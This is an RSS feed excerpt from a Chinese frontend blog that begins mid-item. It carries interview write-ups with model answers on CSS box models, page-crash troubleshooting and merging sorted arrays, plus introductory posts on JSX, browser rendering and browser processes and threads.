&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;确认问题范围：&lt;/strong&gt; 首先，我会尝试复现问题，看是偶发性还是普遍性，是个别用户遇到还是所有用户，是特定浏览器或环境下崩溃，还是全量崩溃。这决定了问题的优先级和后续排查方向。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;快速截图/录屏：&lt;/strong&gt; 立即保留现场证据，包括控制台报错、网络请求、崩溃页面截图等，为后续分析提供依据。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安抚用户/上报：&lt;/strong&gt; 如果是线上普遍性问题，会第一时间通过内部渠道（如即时通讯工具）向上级和相关团队（后端、产品、SRE等）同步情况，并考虑是否需要发布公告，引导用户刷新页面或使用其他临时方案，确保用户感受到问题正在被处理。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;前端层面排查&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;控制台日志分析：&lt;/strong&gt; 检查浏览器开发者工具的&lt;code&gt;Console&lt;/code&gt;面板，查看是否有JavaScript错误、警告或网络请求失败的提示。JavaScript报错通常是页面崩溃的直接原因，栈追踪能帮助定位代码位置。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网络请求分析：&lt;/strong&gt; 检查&lt;code&gt;Network&lt;/code&gt;面板，看是否有接口请求失败（如4XX、5XX错误），或者请求超时。特别是5XX错误，可能指示后端服务异常导致页面无法获取必要数据而崩溃。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内存与CPU占用：&lt;/strong&gt; 使用&lt;code&gt;Performance&lt;/code&gt;和&lt;code&gt;Memory&lt;/code&gt;面板，观察页面崩溃前是否有内存飙升或CPU占用过高的情况，这可能指向内存泄漏、死循环或计算密集型操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代码回溯与版本：&lt;/strong&gt; 确认当前页面的代码版本，检查近期是否有相关代码上线，是否有回滚的必要。使用&lt;code&gt;Source&lt;/code&gt;面板进行断点调试，观察变量值和代码执行流程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;本地存储检查：&lt;/strong&gt; 检查&lt;code&gt;LocalStorage&lt;/code&gt;、&lt;code&gt;SessionStorage&lt;/code&gt;和&lt;code&gt;IndexedDB&lt;/code&gt;，看是否有脏数据或超大存储导致的问题。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;后端及服务层面排查（与后端协作）&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;接口健康状况：&lt;/strong&gt; 如果前端排查怀疑是后端问题，我会联系后端开发或SRE团队，确认相关API接口的健康状况、服务日志、异常报警信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据库或缓存：&lt;/strong&gt; 后端会进一步排查数据库连接、缓存服务是否正常，是否有慢查询或数据一致性问题。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;依赖服务：&lt;/strong&gt; 检查该页面所依赖的微服务或其他第三方服务是否正常运行。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;定位与解决方案&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;锁定问题点：&lt;/strong&gt; 根据排查结果，确定是前端代码Bug（如空指针、死循环、组件渲染异常）、后端接口问题、网络问题、兼容性问题，还是其他服务故障。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;制定方案：&lt;/strong&gt; 如果是前端Bug，立即着手修复，并进行单元测试和集成测试。如果是后端问题，协同后端团队修复。如果是数据问题，考虑数据清洗或兼容处理。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;紧急发布/回滚：&lt;/strong&gt; 对于严重影响线上用户的问题，优先考虑紧急发布修复补丁，或者在无法快速修复的情况下，采取回滚到上一个稳定版本的方式。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;复盘与预防&lt;/strong&gt;：&lt;/p&gt;</description></item><item><title>字节-本地生活-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-19/round-19/</link><pubDate>Tue, 24 Jun 2025 14:45:10 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-19/round-19/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-19/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-19/round-20/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本轮面试侧重考察候选人前端基础知识的系统掌握程度，包括 CSS 盒模型、选择器机制、ES6 语法、异步任务队列、响应式原理与网络协议等，同时会通过算法题考查思维能力与编码规范。&lt;/p&gt;
&lt;p&gt;重点关注以下几个方面：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;CSS布局与样式：考察对盒模型、选择器的深入理解，以及实际应用中的最佳实践&lt;/li&gt;
&lt;li&gt;JavaScript核心：重点关注ES6特性、闭包、异步编程等基础概念的掌握程度&lt;/li&gt;
&lt;li&gt;框架原理：主要考察Vue3响应式系统的实现原理与优化思路&lt;/li&gt;
&lt;li&gt;工程化思维：通过HTTP、缓存、性能优化等问题考察工程实践经验&lt;/li&gt;
&lt;li&gt;算法能力：通过字符串处理等典型题目考察基本编程功底&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;本轮共 17 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-12b75c445924"&gt;1. 自我介绍&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;这是一道主观性问题，没有标准答案。面试官主要考察：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;表达能力：语言组织、逻辑清晰度&lt;/li&gt;
&lt;li&gt;职业规划：技术深度、发展方向&lt;/li&gt;
&lt;li&gt;项目经验：技术栈匹配度、解决问题能力&lt;/li&gt;
&lt;li&gt;个人特质：学习能力、团队协作&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;&amp;ldquo;您好，我是XXX，有5年前端开发经验。毕业于XXX大学计算机科学专业，目前在一家互联网公司担任高级前端工程师。&lt;/p&gt;
&lt;p&gt;我擅长的技术栈是 Vue 和 React 生态，对前端工程化和性能优化有深入研究。最近两年主要负责公司的低代码平台建设，带领团队完成了从0到1的平台搭建。在这个项目中，我们解决了很多技术难题，比如大型JSON-Schema的渲染性能优化、自定义组件的实时预览等。通过这些优化，平台的页面渲染性能提升了60%，现在支持了超过100个业务团队的日常工作。&lt;/p&gt;
&lt;p&gt;在技术深度上，我特别关注前端框架底层原理，写过几篇关于Vue3响应式系统的技术文章，并给社区贡献过几个PR。同时我也在公司内部主导了前端性能监控体系的建设，建立了从采集、分析到报警的完整链路。&lt;/p&gt;
&lt;p&gt;选择字节跳动是因为被这里浓厚的技术氛围吸引，也认可公司在前端领域的技术实力。我希望能在更大的平台上，和优秀的团队一起解决更有挑战的问题。&amp;rdquo;&lt;/p&gt;
&lt;p&gt;答题建议结构&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;基本信息与技术栈&lt;/strong&gt;（15-20秒）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;教育背景&lt;/li&gt;
&lt;li&gt;工作年限&lt;/li&gt;
&lt;li&gt;技术栈概览&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;核心项目经历&lt;/strong&gt;（30-40秒）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1-2个最有代表性的项目&lt;/li&gt;
&lt;li&gt;突出个人贡献和技术难点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;技术深度展示&lt;/strong&gt;（20-30秒）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;专注的技术领域&lt;/li&gt;
&lt;li&gt;技术产出或开源贡献&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;职业规划&lt;/strong&gt;（10-15秒）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对岗位的理解&lt;/li&gt;
&lt;li&gt;个人发展诉求&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;答题要点提示&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;时间控制在90秒左右&lt;/li&gt;
&lt;li&gt;按照时间重要性安排内容比重&lt;/li&gt;
&lt;li&gt;突出个人特色，避免平铺直述&lt;/li&gt;
&lt;li&gt;适度准备，保持自然流畅&lt;/li&gt;
&lt;li&gt;结合岗位特点，突出匹配度&lt;/li&gt;
&lt;/ol&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-45ad807cb4c3"&gt;2. 标准盒模型与IE盒模型的区别，如何通过CSS切换两种模型？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;考察对CSS盒模型的深入理解，包括两种盒模型的区别、计算方式及其对布局的影响。同时也考察在工程实践中如何合理使用box-sizing，以及不同盒模型在响应式布局中的应用场景和性能影响。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h5 id="11-原理说明"&gt;1.1 原理说明&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;两种盒模型的区别&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;标准盒模型 (content-box)&lt;/strong&gt;：
• &lt;code&gt;width/height&lt;/code&gt; 仅包含内容区域
• 实际占用空间 = width + padding + border + margin
• 优点：精确控制内容区域大小
• 缺点：需要额外计算实际占用空间&lt;/p&gt;</description></item><item><title>字节-本地生活-校招 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-19/round-20/</link><pubDate>Tue, 24 Jun 2025 14:45:10 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-19/round-20/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-19/round-19/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-19/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本轮面试重点考察候选人的项目经验、技术深度和工程化思维。主要包括：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;算法编程能力：通过合并有序数组等题目考察基本编程功底&lt;/li&gt;
&lt;li&gt;项目经验：深入考察实习期间的技术选型、架构设计等关键决策&lt;/li&gt;
&lt;li&gt;微前端技术：重点关注跨应用通信、样式隔离等核心问题&lt;/li&gt;
&lt;li&gt;AI 应用实践：考察将新技术应用到工程实践中的能力&lt;/li&gt;
&lt;li&gt;跨窗口通信：考察复杂场景下的技术方案设计能力&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;本轮共 15 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-670965696dfe"&gt;1. 将两个升序数组合并为一个升序数组&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;数组操作能力&lt;/li&gt;
&lt;li&gt;双指针算法应用&lt;/li&gt;
&lt;li&gt;原地修改的实现&lt;/li&gt;
&lt;li&gt;边界条件处理&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;这道题可以使用双指针从后向前遍历的方法，将较大的数放入nums1的末尾。代码实现如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;merge&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;nums1&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;m&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;nums2&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;n&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p1&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;m&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// nums1的指针
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;n&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// nums2的指针
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;m&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;n&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 合并后数组的指针
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;p2&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) { &lt;span style="color:#75715e"&gt;// 只要nums2还有元素需要合并
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;p1&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;nums1&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;p1&lt;/span&gt;] &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;nums2&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;p2&lt;/span&gt;]) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;nums1&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;nums1&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;p1&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;p1&lt;/span&gt;&lt;span style="color:#f92672"&gt;--&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;nums1&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;nums2&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;p2&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;p2&lt;/span&gt;&lt;span style="color:#f92672"&gt;--&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;&lt;span style="color:#f92672"&gt;--&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;nums1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;算法分析：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;时间复杂度：O(m+n)，只需遍历一次&lt;/li&gt;
&lt;li&gt;空间复杂度：O(1)，原地修改不需要额外空间&lt;/li&gt;
&lt;li&gt;关键点：从后向前遍历避免覆盖nums1中的有效元素&lt;/li&gt;
&lt;/ol&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-47494d13dd4e"&gt;2. 上一段实习在联想主要做的是什么产品？采用了什么技术架构？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;这是一道主观性问题，面试官主要考察：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;项目描述能力：是否能清晰表达项目背景、目标和价值&lt;/li&gt;
&lt;li&gt;技术选型能力：是否有合理的技术决策思路&lt;/li&gt;
&lt;li&gt;架构设计能力：是否理解系统设计的关键点&lt;/li&gt;
&lt;li&gt;业务理解能力：是否深入理解业务需求和痛点&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;答题建议：建议从项目背景、技术架构、实现亮点和项目成果四个方面展开。重点说明项目的业务价值和技术特点，展现自己在项目中的贡献和成长。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;&amp;ldquo;在联想实习期间，我主要负责一个企业级IT资产管理平台的开发工作。这是一个服务于公司内部的中后台系统，日均活跃用户约2000人，管理着超过10万台设备资产。这个平台的核心价值在于提升IT资产管理效率，降低运维成本。&lt;/p&gt;</description></item><item><title>JSX</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/jsx/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/jsx/</guid><description>&lt;p&gt;时下虽然接入 &lt;code&gt;JSX&lt;/code&gt; 语法的框架越来越多，但与之缘分最深的毫无疑问仍然是 &lt;code&gt;React&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;2013 年，当 &lt;code&gt;React&lt;/code&gt; 带着 &lt;code&gt;JSX&lt;/code&gt; 横空出世时，社区曾对 &lt;code&gt;JSX&lt;/code&gt; 有过不少的争议，但如今，越来越多的人面对 &lt;code&gt;JSX&lt;/code&gt; 都要说上一句“真香”！我们就来一起认识下这个“真香”的 &lt;code&gt;JSX&lt;/code&gt;，聊一聊“&lt;code&gt;JSX&lt;/code&gt; 代码是如何‘摇身一变’成为 &lt;code&gt;DOM&lt;/code&gt; 的”。&lt;/p&gt;
&lt;p&gt;开始之前请先思考几个问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;JSX&lt;/code&gt; 的本质是什么，它和 JS 之间到底是什么关系？&lt;/li&gt;
&lt;li&gt;为什么要用 &lt;code&gt;JSX&lt;/code&gt;？不用会有什么后果？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;JSX&lt;/code&gt; 背后的功能模块是什么，这个功能模块都做了哪些事情？&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;面对以上问题，如果无法形成清晰且系统的思路，那么很可能是把 &lt;code&gt;JSX&lt;/code&gt; 想得过于简单了。大多数人只是简单地把它理解为模板语法的一种，但事实上，&lt;code&gt;JSX&lt;/code&gt; 作为 &lt;code&gt;React&lt;/code&gt; 框架的一大特色，它与 &lt;code&gt;React&lt;/code&gt; 本身的运作机制之间存在着千丝万缕的联系，上述 3 个问题的答案，就恰恰隐藏在这层“联系”中。&lt;/p&gt;
&lt;h2 id="jsx-的本质javascript-的语法扩展"&gt;JSX 的本质：JavaScript 的语法扩展&lt;/h2&gt;
&lt;p&gt;JSX 到底是什么?看看 React 官网给出的一段定义：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;JSX&lt;/code&gt; 是 &lt;code&gt;JavaScript&lt;/code&gt; 的一种语法扩展，它和模板语言很接近，但是它充分具备 &lt;code&gt;JavaScript&lt;/code&gt; 的能力。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;“语法扩展”这一点在理解上几乎不会产生歧义，不过“它充分具备 &lt;code&gt;JavaScript&lt;/code&gt; 的能力”这句，却总让人摸不着头脑，&lt;code&gt;JSX&lt;/code&gt; 和 &lt;code&gt;JS&lt;/code&gt; 怎么看也不像是“一路人”啊？这就引出了“&lt;code&gt;JSX&lt;/code&gt; 语法是如何在 &lt;code&gt;JavaScript&lt;/code&gt; 中生效的”这个问题。&lt;/p&gt;
&lt;h3 id="jsx-语法是如何在-javascript-中生效的认识-babel"&gt;JSX 语法是如何在 JavaScript 中生效的：认识 Babel&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Facebook&lt;/code&gt; 公司给 &lt;code&gt;JSX&lt;/code&gt; 的定位是 &lt;code&gt;JavaScript&lt;/code&gt; 的“扩展”，而非 &lt;code&gt;JavaScript&lt;/code&gt; 的“某个版本”，这就直接决定了浏览器并不会像天然支持 &lt;code&gt;JavaScript&lt;/code&gt; 一样地支持 &lt;code&gt;JSX&lt;/code&gt;。那么，&lt;code&gt;JSX&lt;/code&gt; 的语法是如何在 &lt;code&gt;JavaScript&lt;/code&gt; 中生效的呢？&lt;code&gt;React&lt;/code&gt; 官网其实早已给过我们线索：&lt;/p&gt;</description></item><item><title>浏览器渲染过程</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/performance/performance-001/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/performance/performance-001/</guid><description>&lt;h2 id="渲染流程"&gt;渲染流程&lt;/h2&gt;
&lt;p&gt;首先要了解的概念:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;渲染引擎：它是浏览器最核心的部分是 “Rendering Engine”，不过我们一般习惯将之称为 “浏览器内核”&lt;/li&gt;
&lt;li&gt;渲染引擎主要包括的线程：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/performance/performance-001/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;各个线程主要职责：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GUI渲染线程&lt;/strong&gt;：GUI 渲染线程负责渲染浏览器界面，解析 HTML，CSS，构建 DOM 树和 RenderObject 树，布局和绘制等。当界面需要重绘（Repaint）或由于某种操作引发回流（Reflow）时，该线程就会执行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JavaScript引擎线程&lt;/strong&gt;: JavaScript 引擎线程主要负责解析 JavaScript 脚本并运行相关代码。 JavaScript 引擎在一个Tab页（Renderer 进程）中无论什么时候都只有一个 JavaScript 线程在运行 JavaScript 程序。需要提起一点就是，GUI线程与JavaScript引擎线程是互斥的，这也是就是为什么JavaScript操作时间过长，会造成页面渲染不连贯，导致页面出现阻塞的原理。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;事件触发线程&lt;/strong&gt;：当一个事件被触发时该线程会把事件添加到待处理队列的队尾，等待 JavaScript 引擎的处理。 通常JavaScript引擎是单线程的，所以这些事件都会排队等待JS执行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定时器触发器&lt;/strong&gt;： 我们日常使用的setInterval 和 setTimeout 就在该线程中，原因可能就是：由于JS引擎是单线程的，如果处于阻塞线程状态就会影响记时的准确，所以需要通过单独的线程来记时并触发响应的事件这样子更为合理。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Http请求线程&lt;/strong&gt;： 在 XMLHttpRequest 在连接后是通过浏览器新开一个线程请求，这个线程就Http请求线程，它 将检测到状态变更时，如果设置有回调函数，异步线程就产生状态变更事件放到 JavaScript 引擎的处理队列中等待处理。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;有了上述的概念，对接下我们讲渲染流水线会有所帮助&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="简略版的渲染机制"&gt;简略版的渲染机制&lt;/h2&gt;
&lt;p&gt;很久之前就把浏览器工作原理读完了，看了很多博客，文章，当时简简单单的梳理一些内容,如下👇&lt;/p&gt;
&lt;p&gt;简略版渲染机制一般分为以下几个步骤&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;处理 HTML 并构建 DOM 树。&lt;/li&gt;
&lt;li&gt;处理 CSS 构建 CSSOM 树。&lt;/li&gt;
&lt;li&gt;将 DOM 与 CSSOM 合并成一个渲染树。&lt;/li&gt;
&lt;li&gt;根据渲染树来布局，计算每个节点的位置。&lt;/li&gt;
&lt;li&gt;调用 GPU 绘制，合成图层，显示在屏幕上。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/performance/performance-001/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;接下来大概就是这么说：&lt;/p&gt;
&lt;p&gt;在构建 CSSOM 树时，会阻塞渲染，直至 CSSOM 树构建完成。并且构建 CSSOM 树是一个十分消耗性能的过程，所以应该尽量保证层级扁平，减少过度层叠，越是具体的 CSS 选择器，执行速度越慢。&lt;/p&gt;</description></item><item><title>浏览器的进程和线程</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-001/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-001/</guid><description>&lt;h2 id="区分进程和线程"&gt;区分进程和线程&lt;/h2&gt;
&lt;p&gt;线程和进程区分不清，是很多新手都会犯的错误，没有关系。这很正常。先看看下面这个形象的比喻：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;进程是一个工厂&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;工厂有它的独立资源&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;工厂之间相互独立&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;线程是工厂中的工人&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;多个工人协作完成任务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;工厂内有一个或多个工人&lt;/span&gt;
